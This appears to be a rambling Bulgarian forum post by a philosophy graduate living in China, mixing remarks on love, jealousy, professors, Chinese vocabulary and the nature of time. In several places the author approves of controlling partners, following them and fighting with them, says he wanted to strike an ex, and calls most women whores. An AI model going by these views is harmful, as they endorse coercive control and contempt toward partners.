Колкото до казармата - мда, това е остатък от времето, когато казармата е била наистина място, в което са се възпитавали мъжки качества, а не са се травмирали и опедерастявали мъжете. /Визирам насилието в някои армии, включително и хомосексуалното насилие./ В този смисъл 2 от най-умните философи на България - споменатият по-горе господин Николай Турлаков и аз се отличихме с това, че избрахме алтернативна военна служба. А аз съвсем се отличих, че даже се и отклоних от нея на 4-я месец... /Горд съм, че нито секунда не съм служил на НАТО!/, та така с АКСИОЛОГИЯТА на българо-казармеността. (Ей, ако не бях посещавал редовно лекциите и упражненията на Александър Андонов никога нямаше да мога да съставям такива ТОЧНИ понятия като "българо-казарменост"! Но ти като човек само с някаква си 4-ка по Онтология едва ли ще ме разбереш напълно! В този смисъл трябва да уточня и друг аспект на любовта - за някои мъже много определящо е не дали жената има кола, а дали има 6-ца при Александър Андонов! Някакси доста секси звучи, не мислиш ли? Шегувам се, благоприлично, моля никой да не се засяга!)
б) Семейството. То си е клетка на обществото! Комунист-човек, знам ги тези неща. Класиците са го казали.
Колкото до отговорността, съветвам всички, които имат намерение да прилагат твоята идея - да обясняват на Калчев, че не трябвало да имплицира това или онова, ДА НЕ ПРОБВАТ, ако си държат на добрата оценка. Лично мнение. Иначе, не се подигравам, прав си е той (поне за това), че без отговорност не само любов, но никакво човешко коопериране не е възможно.
в) Сексуалният аспект.
"Искаш... Това хубаво."
Ето такова отношение ми харесва! ;) Като ми се иска и някой от другия пол да каже, че е хубаво искането ми, а не като някои субекти от същия онзи друг пол, които казват "Иска ти се?! Мръсник! Перверзник! Гад!"... Не, наистина, забележете другари и другарки как добре звучи/изглежда:
"ИСКАШ (осъзнава жената потребността ми и я "легитимира")... (многоточие!!! Също приятно. Оставя място за обмисляне, за романтичен повей, дори!) ТОВА ХУБАВО. (И накрая съвсем простичка, човешка, ПОЗИТИВНА констатация! Че е хубаво-о-о-о-о-о!!!)
Сексуалността е единствено ниво на любов при доста видове. При по-висшите вече си има и втори аспект - влюбеност, емоционалност, но ОБИЧ - т.е. осъзнато обичане/любене си е приоритет само на човека. /Може като наченки да го има и при някои по-интелигентни животни, но няма да е лесно да се докаже./
"-Ама, скъпа, аз днес се разбрах с Тихомир и Светльо да ... я пробваме тая новата кръчма. Хайде другата седмица, още ще го дават, аз ще й обясня на Зойчето, а Соня нали и без това не ме харесва."
Тоя ми е АНТИПОД!... Ужас!... Аз не давам на моите да мръднат и минута без мене. С тази цел се запознавам с всичките им роднини, приятели и пр. , даже се овътрям често с време и пари, за да им се харесвам и да ме приемат, когато канят Нея (90% от Нея не й харесва това, щото съм им "отнемал свободата" да се виждат сами с приятелки, а и с любовници, покрай другото, щото то като те няма там и дойде някой да се слага, особено ако сме пийнали, няма да му бием шамар и да кажем "Ама аз съм гаджето на философа-поет-комунист!", но ще се полигавим с него, що не и ще преспим и после на мене ще ми се лепне някоя венерология!)... /примерно казано - изневерите не са рядкост и има много литература, включително и научна по въпроса; да не говорим за видеоматериали и пр. неща с по-ниска доказателствена стойност./ Така че при мене такова положение НЯМА. То е НЕБИТИЕ, то е НИЩОТО! Хаха. Тихомир и Светльо ще ходят сами или ще идват с нас на кино. Това е положението!
"-Ок, мило, отиваме на кръчма. Толкова съм щастлива,че се разбираме..."
Еее, такава ако имаш, после за компенсация на цели 3 филма трябва да се иде със Зойчето, а Соня... не ме харесва Соня? Да, ама като й понакупиш това-онова и си плюеш малко на суратя, забравил, че си мъж, философ и пр., та си признаеш, че си "всичко-онова-за-което-ме-мислиш-о-Велика-Соня" и Сончето ще вземе да ме харесва. Психолгия на приматите ;), не й бера грижата хич! /Човекът също го отнасят, и с право според мен, към приматите - ето: https://bg.wikipedia.org/wiki/Примати (https://bg.wikipedia.org/wiki/Примати). Колкото до харесването - вече съм на друго мнение - не държа вече всички да ме харесват, а и не мисля, че си струва усилията, които често са трудоемки, времеемки и не се отплащат в повечето случаи./
"(май е много лигаво, ама е ясно, че в началото се „разбираме” с „поглед” не броим колко пъти са изпълнени моите, а не твоите желания, колко пъти в спорове си застанал на моя страна и т.н. Щастието е якоооооооо)"
Те в началото някои даже и цветя подаряват... После - основно спят... /В смисъл, че при много романтичността отшумява./
"Да, ама, знаем за пълното щастие и ......... скуката."
Аз имам една максима - "ЗА ИНТЕЛοГЕНТНИЯ ЧОВЕК НЯМА СКУКА!" Декарт, примерно, затворен в печка/пещ си е мислил за "Cogito, ergo sum". /Когато е бил войник, по думите на един руски философ./ А ние имаме интернет и ще ни е скука?!?!?!?! Лелеееееее! КАК БЕ?!
1. Безплатни филми!
2. Любима корейска музика (е, за мене, за други може да е ромска, нямам нищо против!)
3. Блестящи мисли от колеги в Проектория! /Но са рядкост./
4. Чатове... /Вече, като по-знаещ и разумен искам да добавя и изкарване на пари от интернет./
Скука?!...Напротив!... /Според мен само една Читанка и една Енциклопедия са достатъчни, за да не ти е скучно./
" ВЯРВАШ, че никога не би се чувствал по-добре с някой друг. "
Вярата е самозалъгване. Аз мога да се НАДЯВАМ, но не и да ВЯРВАМ. ДОВЕРИЕ - никому. Доверието не се дава, а се ЗАСЛУЖАВА.
"а просто да обичат ВЪПРЕКИ всичко и всички."
ВЪПРЕКИ всичко да обичаш е НЕЗДРАВОСЛОВНО и ФАНАТИЧНО. Примерно последната ми приятелка ми натресе венерическа болест /гъбична беше; добре, че не беше нещо тежко като сифилис!/, опита се да ме лъже с канадец, псува ме на майка (при умряла такава) и аз да я обичам ВЪПРЕКИ? О-хоооо, бих обичал да я трясна по главата и да я оставя на място, последния път като я видях за малко да стане, но й се размина с една строшена бутилка на публично място, ВЪПРЕКИ, че в Китай не е България и си те вкарват доста по-бързо и адекватно в затвора, както и се изпълняват смъртни присъди, а не да се проявява нездрав хуманизъм както в ЕС-то. Извинявам се, но САЩ и КНР са доста по-цивилизовани страни в това отношение. /В последните години, обаче, все повече си мисля, че смъртното наказание не е полезно, защото нито намалява престъпността, нито помага с нещо на жертви или на престъпници, нито дава шанс на престъпниците да се поправят по-късно в живота, а и стават грешки - ако вкараш някой по грешка в затвора може и да го освободиш, но ако го убиеш чрез смъртно наказание, няма как да го съживиш после./
"Пс: Стоя и си мисля, дали би обяснил защо си се оженил за китайка(тя владееше ли бойни изкуства?), а не за рускиня примерно (идеологически нямаше ли повече да си допаднете?)?"
Обичам Китай и искам да пускам корени тук колкото се може повече. А и като си женен е по-лесно с визите, и пр.
Колкото до бойните изкуства - всички китайци ги владеят, то се предава генетично. ;) Или както се шегуваше Джет Ли "задължават ни по закон да изучаваме бойни изкуства!" /Реплика от героя му в един филм./ ...
102. Допълнение:
- Ако наистина приемем, че всички хора от един и същи етнос са с еднакви идеологически мисли, тогава няма как да си допадна повече с рускиня, защото Русия е отдавна капиталистическа страна.
- Китай = "Социализъм с Китайска специфика" (официално название); ПАЗАРЕН СОЦИАЛИЗЪМ (Енциклопедия Британика); Социализъм от Югославски тип (Балканско определение). В този смисъл китайките са идеологически по-благонадеждни. Друг е въпросът, че рядко срещам някой/някоя, които наистина да са в час с политиката. Вчера, примерно, един взел да критикува ръководството на Китай, а не знае къде е Република Алтай (това е субект на Руската федерация на границата с Китай)... Както и да е. Всеки е с различни политически възгледи, а има и доста аполитични. /Искам да кажа, че човек, за да може да критикува с право правителство или да разсъждава по какъвто и да е друг социално-политически проблем, трябва да има добра представа от знанието - география, история, икономика, социология, политология, философия... колкото по-знаещ е човек, толкова повече шанс има да прави градивни и правилни, а не голи критики./
(Следва...)
-
Да продължа.
103. Yes. I agree. German is also a language without strong purism. I think it is an advantage if the people are ABLE and WANT TO create OWN words like "драсни-пални клечица"... May be for someone it is funny, but who cares?... Englishmen, Bulgarians, etc. are using the GREEK word "telephone". It means "LONG VOICE" as I know. But the Chinese purism made the word “电话“(диен хуа). It means ELECTRIC SPEECH and it's 100% Chinese. That's why I think the purism is reflecting the ability of own thinking, which is progressive. /Well, maybe sometimes; maybe in some cases. Depends of the inventor of the puristic word./
104. В отговор на написано от човек с ник Хераклит: "А на мен ми беше симпатичен Иван Колев. С тези красиви очи... и толкова сини. Горкият, много се шашкаше. Аз обичах да го наблюдавам, специално сядах на първия ред, с една, да кажа, мила и скептична усмивка. Впрочем така си взех и изпита - благодарение на лъчезарния си скептицизъм, изписан на мекия фон на едно трогателно снизхождение, което излъчвах почти през цялото време... човекът гледаше да приключи по възможно най-бързия начин, което - няма да си кривя душата - идеално ме устройваше предвид това, че изобщо не бях чел.
Преди време забелязах, че си е кръстил сайта "Касталия" и като се замислих, действително прилича на един от героите в романа - Тегулариус. Предполагам, че той самият по-скоро се идентифицира с друг герой - Йозеф Кнехт... но този специфичен уморен поглед от дълго, по няколко часа на ден, взиране в серифни шрифтове действително издава особена страст към отделната дума и търсене на значения, смисли, произход.
Все пак, не може да се отрече, че думите са не по-малко важни от тухлите, необходими за строежа на една катедрала. От там нататък идват архитекта и художника. За мен философията е нещо като архитектура на Мирозданието."
Aбе то и на мене ми беше симпатичен Камбуров, щото ми приличаше на натурален средноазиатец, пък аз си обичкам такива люде, ама... хубостта не върви ръка за ръка с добротата, задължително :D ...
Не си бил чел за Колев? То аз като бях чел, че големия праз! 5-ца. (А аз никога не съм се явявал на поправки, каквото и да съм имал като оценка.) Не му беше харесало на човека, че си имам собствена идея за времевостта и, че не признавам позовавания на Хайдегер за последна инстанция.
Колкото до думите, много е коварно да се изхожда от значенията им само в един определен език. Сега ще ви просветля като ви кажа, че ХИПОПОТАМ на китайски е "河马" - "Хъ ма" ("Речен кон" или по-точно преведено "Реко-кон")... Представете си Колев или подобен, изкушен от търсене-и-утвърждаване на смисли само от собствения език да беше се родил китаец... Тогава хипопотамът във философията въобще нямаше да е "това, което е" ("Туин Пийкс"). /Малко по-късно научих, че етимологията на думата "хипопотам" е гръцка и на гръцки значни нещо подобно - ἱπποπόταμος значело "кон речен". Та вместо китайски, с гръцки пак може да се даде примерът такъв, какъвто съм го дал./
105. Много вярно. Това са само ФОРМИ. Съдържанието е, което има значение за нас. Формата не е от значение. Примерно имаме ФИЛОСОФСКО ПОНЯТИЕ, да го наречем "X" (хикс), което на един език е "Джамбурлак", а на друг, примерно, "Дзън Мън Уън"... И какво от това? И на двата езика се има предвид ХИКС, а не ИГРЕК, нали така?
Съвсем друг е въпросът, ако няма понятие. Искате ли пак да ви просветля с нещо, което няма кой друг да ви каже? :) Някои народи така и нямали понятие за километри, мили и пр., и като трябвало да обяснят на какво разстояние е някое си място казвали, че е на "5 дена оттука с кон", примерно. Ами понятието за време? Някои африканци така и си нямат такова и не боравят с някакви си години, месеци... И като се замислиш времето наистина не съществува обективно, а е само МЯРКА НА ДВИЖЕНИЕТО. Това е моя теза, която отдавна защитавам. /По-сетне разбрах, че не е само моя тази теза. Например презентизмът е нещо подобно - това е гледището, че миналото и бъдещето не съществуват, а има само "сега", само настояще. Още Антифон го е казал, че времето не е реалност, а само концепция (ноема) и мярка./
106. Много често българи, но, най-често китайци (за които самохвалството е много лоша черта) ме упрекват, че съм се саморекламирал и аз обикновено отговарям, че за повечето хора е необходимо да си кажеш сам иначе може и цял живот мозъкът им да не направи необходимите заключения. Или по-просто - нямаше да има нужда от автобиографии (резюмета), ако всичко беше ачик (пределно-ясно). ОБАЧЕ (то това си е психологически закон), когато ме хвалят така много съм длъжен да мина в другата крайност и да поясня, че ме "няма у гъбите" по отношение на доста неща като математика, химия, средно и южно-африкански езици, и пр. /С радост опреснявам това, че през последните години навлезнах в математиката и вече разбирам повече математични неща отколкото преди. Понякога и по половин час чета неща свързани с математиката - ето например в момента си припомням концепцията за размитите множества./ А да не говорим колко успешно може да ме комплексира някой виртуозен китарист, пианист и пр. /Съвсем малко си подобрих свиренето на пиано, но си оставам самоук, а и нямам намерение към днешна дата да задобрявам в това отношение./ Така че моя милост е високо-ерудиран само в някои области и минава за енциклопедична личност, донякъде, но днес енциклопедистите са невъзможни, защото знанието е натрупано в огромни за нашите скромни паметови възможности количества. С риск да бъда много яко заклеймен, порицан и преценен като луд признавам в това отношение, че за мен един от най-ценните философи (а те ще кажат, че той не е и философ) си остава Сергей Лазарев с популярно научно-философско-религиозно-антропологично-културологичните му книжки "Диагностика на Кармата". А човекът казва, че в "дълбочина всички сме едно и също", затова не трябва нищичко да се надценява или подценява емоционално. /Оставам си на позицията, че в дълбочина всички и всичко е едно и също, доколкото отиваме към едни и същи атоми и елементарни частици, енергия. Обаче за Лазарев вече имам по-научно обосновано мнение - много от твърденията му си остават недоказани и вече не му вярвам на всичко, както преди. Следвам само доказани научно положения!/
---
Конкретно - по темите за моите примери - ами аз действам ТРАДУКТИВНО и АСОЦИАТИВНО. Е, може и да има някакви малки отклонения от темите, но по принцип гледам да съм пунктуален.
"ок, бейби айде да си поговорим тогава."
Е-е-е-е-е-е, много субкултурно това звучи, донякъде рапърско... друго си е "Добре, Слънчице..."
" а не да се нацупиш- и тая пък, не стига че й отговарям, ами и претенции..."
Спокойно. Аз щом преглътнах факта, че си комуникирам с жена, която има само 4 при Андонов, нищо друго не може да ме учуди. Шегичка. ;)
"Мисля, че разбра вече, че съм чела и други твои неща, на друго място, които бяха много повече, и наистина отпреди време, но стила ти е непокътнат..."
На другите места общувам малко по-друго яче, защото аудиторията не е най-умната в България, а тука смея да твърдя, че е. /Поне спрямо опита ми по онова време. Но после видях, че и там повечето не са от най-умните./ Ако ти се чете още - никовете ми : Dalai_Tatar, Чародей и Tatar... /А предвид, че много хора умишлено или неумишлено повтарят същите никове, не трябва да се водите само по никовете. През последните години пиша само тук./ Останалите не ги помня, ако въобще е имало такива. Склерозираме с годините.
"Стиховете са много вълнуващи. И съм сигурна, че всеки използвал ги мъж е спечелил всяка развълнувала се жена."
Има такава възможност...
"тезата на Турлаков (поздрави Ники, да почерпиш, и аз уважавам тезите ти)"
Аз трябва да го почерпя него. Човекът преди толкова тези, толкова нещо изказваше, а аз понякога (да речем 20%) от лекциите отсъствах, че да придружавам любима колежка за еди-какво си. /В един период от следването, в рамките на 1-2 месеца да е било, не беше дълго, защото тя се оказа неблагодарница и нелогична в действията си./ И от разговорите с нея само затъпявах. И сега си викам - ех, ако вместо с нея бях на лекциите да слушам Турлаков, сега щях да съм поне с 10-20% по-умен, но ще наваксваме. И това го казвам без капка хумор. Ти като "изследовател" на интернет дейността ми можеш лесно да намериш как го издирвах този човек през годините чак от Китай, та накрая се радвам, че се "чухме" и, независимо съгласен-не съгласен с него, оценил съм, че от всички колеги той е притежавал най-уникалните способности за мислене в дълбочина. /Може и други да е имало, но да са били по-малко активни, та затова и не съм ги запомнил по този начин./
"и трите водки, които ме прецакаха, та първия етап толкова бързо отмина"
Това малко към Кастанеда отива. ;)
"Аз твърдя, че “творецът- РУСАЛ” е В НИЩО, но ВЪВ ВЪЗМОЖНОСТ! (потенци-йка, така да се каже)."
Това е добре, но аз твърдя И ОЩЕ, че той е в и с други неща. Онагледявям. За да сътвори някой първия панталон вероятно има ножици, плат, креда и пр. Т.е. МАТЕРИАЛ (или както е казал Тодор Живков - "Навсякъде има маТРиал!" /Независимо от някои езикови грешки, Тодор Живков има много мъдри и правилни изказвания./)... т.е. има БАЗА, ИЗХОДНОСТ + ПОТЕНЦИЯ. Да речем, че има човешки ЗАРОДИШ. ЗАРОДИШЪТ (все още )не е ЧОВЕК, ама не е НИЩО. Това ми беше прецизираната мисъл.
"Да нищото само по себе не е много интересно, но чак пък надценявано, не мисля, имаме яко need от него, иначе не забелязваме.... контраст-а."
Ти си от тези, които го надценяват. Все едно да кажеш, че ако няма тъмно няма да можем да отличаваме цветовете. Чувал съм да казват, че ако нямало черно нямало да знаем какво е бяло. Абсолютно невярно. Ще знаем и още как. Може някой никога да не е мяркал черно и да знае какво е бяло, оранжево, синьо...
"Precious, колкото и да те разочаровам в този миг , АЗ НЕ СЪМ ЧЕЛА ЛЕНИН."
Олеле, не е чела Ленин, има "4" при Александър Андонов (което също е причинено или направо ОСНОВАНО, ако ползваме Андоновата лексика, от непрочетения, непознат Владимир Илич Ленин. Доказателство - Турлаков и аз сме го чели и имаме 6!)... Но, понеже следвам Лазарев с твърдението му, че "Християнството е дало доста по-развито осмисляне на Кармата, макар и да не го усещат това теолозите, което се вижда от разкаялият се и изменил се за миг като съдба разбойник, прикован до Христос. В Будизма има формулировка "ти си направил това, за което ще платиш така и по никакъв друг начин."А Християнството отива по-далече чрез идеята за покаянието. " В този смисъл - покаяла си се аз аз като добър човек-лазаревист ще продължа да те чета с любов. /Припомням, че вече не съм лазаревист, защото Лазарев не е доказал повечето от нещата, които твърди./
"Но не ми е ясно защо не трябва да се чувствам добре от това, че съм влюбена, какво като е повърхностно и после може да се окаже, че съм избрала простака, а не готиния тип от Шао Лин..."
Ох, то напоследък в Шаолин всякакви има, на комерсиална основа, за пари, демек, така че... примерът не е релевантен, както все казваше човекът, който трябва да те черпи. :) Колкото до влюбването - ами често е измамно и води до тотално пропиляване на ресурс от всякакъв тип, а при разочарование, при някои конституции на личността, дори и до РЕАКТИВНИ ДЕПРЕСИИ, които са доста неприятно нещо.
Няма да се засягаш. Казвам, че по принцип не е сериозно някоя да се влюбва в друг заради имуществото му. Знам, че говориш за някаква лирическа героиня, та аз критикувам по принцип. А ти се самозасягаш. Андонов какво казва? Човек като го обидят и се чувства обиден го прави от себе си, самообижда се. Не всеки се чувства засегнат при същите т.нар. обиди. Психологията казва, че има различен ПРАГ на реакция при едни и същи стимули. А от културологично-антропологическа-аксиологична гледна точка бих казал, че много зависи от асоциативността, миналия опит и сегашното състояние на човека. Примерно за някои в София "Здравей, копеле!" е нормален поздрав, ама в някои села може да налетят даже на бой...
По Диалектическа Логика при Пунчев си имам 6 също. Може ли аз да нямам?! Ееее... иначе при мене най-големия парадокс е, че имам 3 по психология, но то беше, защото :
а) Не ходих на почти ни една лекция, защото аз си я знам психологията. /От едно време я изучавам самостоятелно и до ден-днешен си обогатявам знанията чрез енциклопедии, видеота и пр. по темата./
б) Беше някакъв тест и най-високата оценка в курса беше "4" (мисля, че Турлаков имаше 4, кой друг?!)
в) Точно него ден имах среща с една 9 години по-малка от мене (не беше за изпускане) /понеже съм роден в края на годината разликата не беше 9, а по-малко от 9 години, но аз не съм ейджист/, та натраках отговорите за 15-20 минути и бях първият, който си излезна от изпита-тест. После си говорихме в романтичната атмосфера на Централна гара за това как е мъжки род на "фея" и как леля й е казала, че 9 години разлика са си идеалното съчетание за мъж и жена! Такива ми ти работи. Дори Георги може да има не просто 4, а дори 3. Но пък средният ми успех е 5.13, без нито една поправка + 1 освобождаване от изпит.
И не приемам, че Диалектиката е "просто диалектика". Когато това нещо се преподава от Александър Андонов нещата така се усложняват, че Диалектическата логика ти се струва като повей на бриз след изнурителен труд. ДАВАМ ПРИМЕР:
Андонов : "Като как субектът времевее?" + "Те мислят нещата от станалост!" (по повод, че някакъв се спънал и паднал на земята...)
Пунчев: "Откриват, че паметта не може да се обясни на молекулно ниво..." + "По времето на Хегел правят първите открития на динозавърски кости и се заформя палеонтологията, но Хегел не може да достигне до идеите за еволюцията като Дарвин." (По последното, за да остане в аналите на ИСТОРИЯТА НА ФИЛОСОФοЯТА, Турлаков възрази на секундата : "Но това не е била ЗАДАЧАТА на Хегел!")...
Очаквам с нетърпение продължението!
107. "Не си прави труда. За да се встъпи в спор най-напред трябва да се опровергае Айнщайн, който вече е защитил тази теза и да се срине Теория на относителността."
Без никакъв спор с Айнщайн време няма. Примерно той казва, че като пътуваш в нещо си с над 300 000 в секунда и часовникът ти ще изостане с 15 минути на час. Но това иде да покаже, че просто ДВИЖЕНИЕТО В СИСТЕМАТА, КОЯТО СЕ ДВИЖИ БЪРЗО СЕ ЗАБАВЯ. Времето си остава мярка. Т.е. за мене времето не е субстанциално. По същия начин като, примерно, пространството. Имаме МАТЕРИЯ и ДВИЖЕНИЕ, нищо повече.
"знаем ли, КАКВО е произвело тези езикови структури?"
ИМЕННО!!! Преди много години, някой с коефициент на интелигентност и информираност колкото баба на село измислил някаква дума, вложил понятие в нея... и сега ние да оперираме САМО-И-ЕДИНСТВЕНО с неговата понятийност?! Че да не сме откачени?! Вярно, че истината не зависи от времето по което е изказана, но повечето от древните НЕ СА БИЛИ МЪДРЕЦИ, УЧЕНИ... Така че предпочитам да си мисля за хипопотама като роднина на свинята (доказано генетично!) /и особено китовете, делфините, косатките и др./, а не като за "речен кон", защото някой, някога, някъде казал така.
108. Не е табу сексът за някои... За други си е тема-шок.
Ами да, аз съм си аз. Мненията ми са субективни по форма, но обективни по съдържание. :)
А Китай е само на 3 държави разстояние - Турция-Иран-Афганистан. /По южния маршрут. По северния - пак са три: Румъния-Украйна-Русия/ и е много по-близко до България отколкото САЩ, Канада, Австралия. Но малко хора си дават сметка.
Говориш за любов и секс, без да намесиш Папата?! Ами Калчев, ако чете тука и ще ти скрои шапката набързо. Ама ти от Андонов не се притесняваш, та нима ще те стресне някакъв си екзистенциалист-танатолог-католик (Калчев).
Сексът влошавал нещата? Ами то всичко може да има и влошителна, деструтивна страна. Самата любов, сама по себе си, може да развали отношенията.
Как само аз?! Ами Лазарев? Ами Ленин? Ами Туркалов? Ааа, аз си имам идоли, бе! :) А това, че виждам толкова на далеко се дължи само на туй, че съм стъпил на раменете на такива гиганти на мисълта! /Отновно казвам, че Лазарев не трябва да се приема много като идол, гигант на мисълта, гений и пр./
Повечето от бившите ми гаджета не ОЦЕНИХА привързаността и прилепчивостта ми. Просто не можеха да обичат /или да МЕ обичат истински/... Примерно аз предлагам да отидем заедно до еди коя си река (разбира се аз плащам), да прекараме времето в някое хубаво заведение, да минем и на кино... и какво? "Ама аз искам да пазарувам със сестра ми." - Да дойда и аз? "Абе как ще идваш, тя може да иска да си купува дамски превръзки и ще й е неудобно от тебе!"... При такива ситуации възниква задължителен скандал при мене, щото , априорно, ги приемам като опит да ми се изневерява. И като, примерно, проследиш въпросната и я хванеш с някой и има : "Ама ние напълно случайно се видяхме!" - Но нали нямаше начин да си с някой мъж като тоя тука?! "Е, ама ти много си ревнив!"...Та и бой е имало. /Пръв не нападам, но се отбранявам срещу агресия, независимо дали идва от мъжки или женски пол./ Така човек може и в затвора да влезне, на смърт да го осъдят. /В много страни по света все още има смъртно наказание./ Затова по-добре да не се занимава с недооценяващи и нивелирани откъм любовност субектки. Много ми харесва една английска конструкция Mr./Mrs Right, както и една Mr./Mrs Match. Т.е. не си ли с ПРАВИЛНИЯ, СЪВПАДАЩ си с тебе субект нещата може само да се влошават.
Колкото до роднините - повечето роднини ме харесваха, щото "Ти си първото й гадже, което ни уважава и не се крие от нас!"... Културни хора!...
"Ограничаваш свободата ми!" е позиция на жена, която НЕ ОБИЧА. При любовта, е казал адаша ХЕГЕЛ, имаме "Свобода положена в другия!", т. е. аз като я обичам не се натоварвам, ДОРИ СЕ РАДВАМ, ако тя иска да четем заедно, да излизаме заедно, да ядем заедно, да готвим заедно, да си говорим с приятелите си заедно... и , винаги, когато някоя ме е притеснавала, че иска да сме заедно е била такава, която съм ползвал само за леглото или за някаква си социална помощ. /само за физическа връзка или само за човешка взаимопомощ/ Т.е. не отричам, че също съм се държал "като проститутка" в определени моменти, НО истинската любов НЕ МОЖЕ ДА КАЖЕ, че е натоварващо.
"Никога не можеш да замениш приятелките й. Ти си любим МЪЖ, а не приятелка-ЖЕНА. Правиш ли разлика? "
Прочети ми спора с Хераклит за половете и ще видиш, че УМЪТ НЯМА ПОЛ, МОРАЛЪТ НЯМА ПОЛ и пр. Мога да заменя аз всеки и всяка!!! Сталин е казал, че дори в Партията НЯМА незаменими хора. И по темата - аз що мога да я каня всеки път като се виждам с моите приятели, а тя не може?! Честно ли е? Не е. Симетрично ли е? Не е. Много мразим асиметрични взаимоотношения! Ама много!
"По-добре я направи, защото така .....както ги преценяш нещата, може да се окаже накрая, че верно ще предпочете да е лесбийка.
"
Както е казал Турлаков (перифразирам го, защото аз не мога да копирам изказа му дълбок и класическо-философски) това дали някой ще ПРЕДПОЧЕТЕ/РЕШИ/ПОЧУВСТВА/ПОМИСЛИ и пр. нещо си , вкл. и това да става ЛЕЗБИЙКА/ТРАНССЕКСУАЛКА/НАЦИСТКА/ПРОСТИТУТКА и т. н. си е ЛИЧНО-НЕЙНА РАБОТА. Т.е., ако някоя на истинската ми любов реагира НЕАДЕКВАТНО и ПСИХОПАТНО, НАЙ-ВЕЧЕ, това не е мой проблем. А, ако се появи такъв от рода на реактивна депресия почваме да си пием хапчетата и след 2-3 седмици въобще не ни пука и тогава почваме да си пием бирата; да си учим езиците; да си работим в полза на обществото; да си спортуваме и да се образоваме в нета. /Съветвам, от днешна гледна точка, да не се прекалява с бирата и с какъвто и да е алкохол и да се стремим да правим повече пари, защот в условията на капитализъм бедността е крайно нежелателна!/ Днес, примерно, научих как е "УТИЛИТАРИЗЪМ" на китайски - "Гунгли Джуи" /"gōnglìzhǔyì" - ”功利主义“/. Така съм аз. Който си има принципи и то ПОДПЛЪТЕНИ с:
- Дипломна работа (по темата)
- Практически опит (Като критерий на истината)
- Психологически и психопатологически познания (родители психиатри) /+ множество изчетена литература лично по темата./
- Комунистически дух, /социалистически, в определени отношениия/
няма да вземе да се променя само и само, защото, примерно 90% от жените са станали курви, полу-курви и пр. "сегмент". Аз комформизъм не ща. /Темата е много обширна. Тук не се засяга здравословната адаптация, еволюцията. Всичко зависи от изходните условия, както и от потребностите, целите и пр. на субектите./
"Жените както и мъжете си имат теми и разговори, които са си строго конфеденциални, и това няма отношение към любовта...Ви.
"
АБСОЛЮТНО НЕВЯРНО! Любимият човек е най-скъпият и, ако е съпруг, най-близкият роднина! Това е бащата/майката на децата ти. /В повечето случаи, защото все повече се появяват и чайлдфри - доброволно бездетни, а там за баща/майка; за родителство не може да става дума/ и почнеш ли да имаш тайни от него/нея, значи съвсем няма да го докарате доникъде. На една китайска учителка по английски й казах преди година, че ще се разведе щом като постоянно крие от мъжа си това-онова. Оня ден я срещам : "Още ли си женена?" "-Не, ти позна. Как позна?"... Ами познавам и се ориентирам овреме. "Научно прогнозиране" му се казва. Още Талес го е прилагал из Европа едно време спрямо реколтата от маслини. А някои жени са общо взето предсказуеми като реколтата от маслини, така че и да не си Талес пак се сещаш...
Колкото за мустаците... давам друг пример - На мене ми е по-приятно като ходя на очен преглед да е жена ми до мене и да ме утешава или да ме гледа поне мило, отколкото да съм с някой мъж, който, ако въобще се сети за какво става дума да ми вика "Абе ние сме мъже, трябва да се държим даже и да ослепеем!"... Просто въпрос на приоритети. Аз имах една дето даже ме ценеше, че съм я чакал из болниците, щото предният никога не ходел с нея. Абе колкото мозъци - толкова аксиологии. Не можеш да угодиш на всеки. Една обича суши и си хапваме супер добре, друга вика, че било противна храна и ми разваля удоволствието от сушито, макар че в същото време може да си яде скапаните спагети, които аз съм платил, нали?!... /Някои китайски спагети, искам да уточня, аз също много ги харесвам, но не ги ям често./ Така че няма как да намериш някой, с който напълно да си съвпадате. Преди година бях намерил една от Шанхай - много съвпадения от сексуални предпочитания до любими автори. И накрая като ми изтърси, че искала ПОНЕ 3 деца и й дадох червения картон. /Идиоматичен израз, по аналогия с червените картони във футбола. Значи да изключиш някой от приятелския си кръг, да го отсвириш, да се разделиш с него./ Аз едно едвам се чудя как се отглежда, а тя екстри - 3 деца "поне" (забележи!!!)... Или пък една друга - пак така - интелигентно, хубаво, като приказка девойче и като рече: "Мечтая си да сме в Европа!" (Аз затова съм дошъл в Китай, че да се връщам в Европа, нали се сещаш?) "и да имаме 2 кучета!" (Мен както ме е страх от кучешка тения!) "и 2 деца!" (Аз дето и едно не ща много-много!)... и туш!!! Та пак имаше червен картон...
Аз не знаех, че си служиш с истински имена на приятелки, но дори и да е така те не са 100 % отражения на техните носители. Примерно даже Соня и да е истински човек в живота ти, няма как да не ме харесва. Та аз говоря ПСИХОЛОГЕМИЧНО (думата иде от ПСИХОЛОГЕМА). Значи, да напомним - магистър по философия, поет, любител-психолог със собствен психотерапевтичен метод, владеещ няколко езика, преподавател, честен, комунист и пр. /в последните години и уебмастър - правя разни простични сайтове/, и всичко това ДА НЕ СЕ ХАРЕСВА от някоя си? Ами директно ми пада в очите. И то при положение, че АПРИОРНО, приятелите на любимата са мои приятели, родителите й са мои родители и пр. Т.е. въпросната Соня, Мелиса или който и да е друг се явява ИНТЕРВЕНТ в любовта ми и аз използвам всички законови методи, за да се справя с интервенцията, доколкото държа на любовта си. И не е тъпо, а е много в социалистически дух на РАЗУМЕН ЕГОИЗЪМ (Чернишевски!)...Т.е. аз като се женя искам спокоен и градивен живот, а не проблеми и врагове и то сред приятелките. Аз, примерно, ако имам приятел, който не харесва жена ми му казвам - "'Ми чао!"... и толкова. Ама аз умея да обичам жена си, не се подчинявам на приятелите си.
"та в един момент... и двете не знаем как става така, че трета приятелка ти иска телефона и ти обяснява русалката колко е по-калпава от нея самата...."
И после викаш, че не са примати, а? Типично поведение на разгонени маймуни от Африка! Питай Динев, ако не вярваш. И какво като ми иска телефона? Нали жена ми живее у дома и може само тя да вдига. Нали съм 24 часа с нея (даже заедно работим, колеги сме. По принцип така ги правя гаджетата си - колежки, че да е по-сигурно, че няма да си изневеряваме.) Ти просто не знаеш, че при мене любовта е на качествено-ново, сериозно и справедливо ниво. Истинска Хегелианска любов "свобода положена в другия".
За цветята... Ами аз съм нямал пари, но съм пооткрадвал от градинки и пак съм подарявал. /Става дума за кокиче, минзухарче или нещо друго, което е ясно, че пак ще порастне. Искал съм разрешение от хората, когато ги е имало в градинките. Това са случки от преди много години, когато съм бил юноша. В днешно време не бих постъпил така./ Желание като има - има и възможност. /В днешно време, в краен случай, бих взел пари назаем при такава ситуация./
"а след това като ти обърнат внимание на билки и бутилки вино ти е обидно, все едно те използват????? "
